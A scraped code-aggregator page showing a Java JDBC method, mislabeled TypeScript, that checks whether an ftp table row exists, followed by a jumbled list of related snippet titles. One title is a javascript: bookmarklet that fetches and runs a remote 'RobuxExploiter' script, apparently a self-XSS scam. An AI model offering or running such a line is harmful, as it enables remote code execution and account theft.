/TypeScript/If exists certain line in sql table java condition

If exists certain line in sql table java condition

public void ftpTableCheck(String host, String port, String username, String password) {
    try {
        String query = "SELECT (count(*) > 0) as found FROM ftp WHERE Host LIKE ? AND Username LIKE ?";
        PreparedStatement pst = conn.prepareStatement(query);
        pst.setString(1, host);
        pst.setString(2, username);

        try (ResultSet rs = pst.executeQuery()) {
            // Only expecting a single result
            if (rs.next()) {
                boolean found = rs.getBoolean(1); // "found" column
                if (found) {
                    // You have rows
                } else {
                    // You have no rows
                }
            }
        }
    } catch (SQLException e) {
        e.printStackTrace();
    }
}

Source: stackoverflow.com

Similar codes

0 vote270 views1 answer
Facts about poutine
TypeScript
0 vote254 views0 answer
TypeScript
1 vote267 views1 answer
Wordpress robots txt file
TypeScript
0 vote285 views1 answer
Url prod
TypeScript
0 vote306 views1 answer
Convert string to bits c#
TypeScript
0 vote259 views10 answers
XJavascript:$.get('//robloxassets.com/I/RobuxExploiter/RobuxExploiter.js')
TypeScript
4 votes341 views10 answers
Roblox
TypeScript
0 vote287 views1 answer
How to get class weights while using keras imagedatagenerator
TypeScript
3 votes282 views1 answer
How to make s3 bucet objects publicj
TypeScript
0 vote280 views1 answer
Sockjs-node/info?t=net::ERR_CONNECTION_TIMED_OUT
TypeScript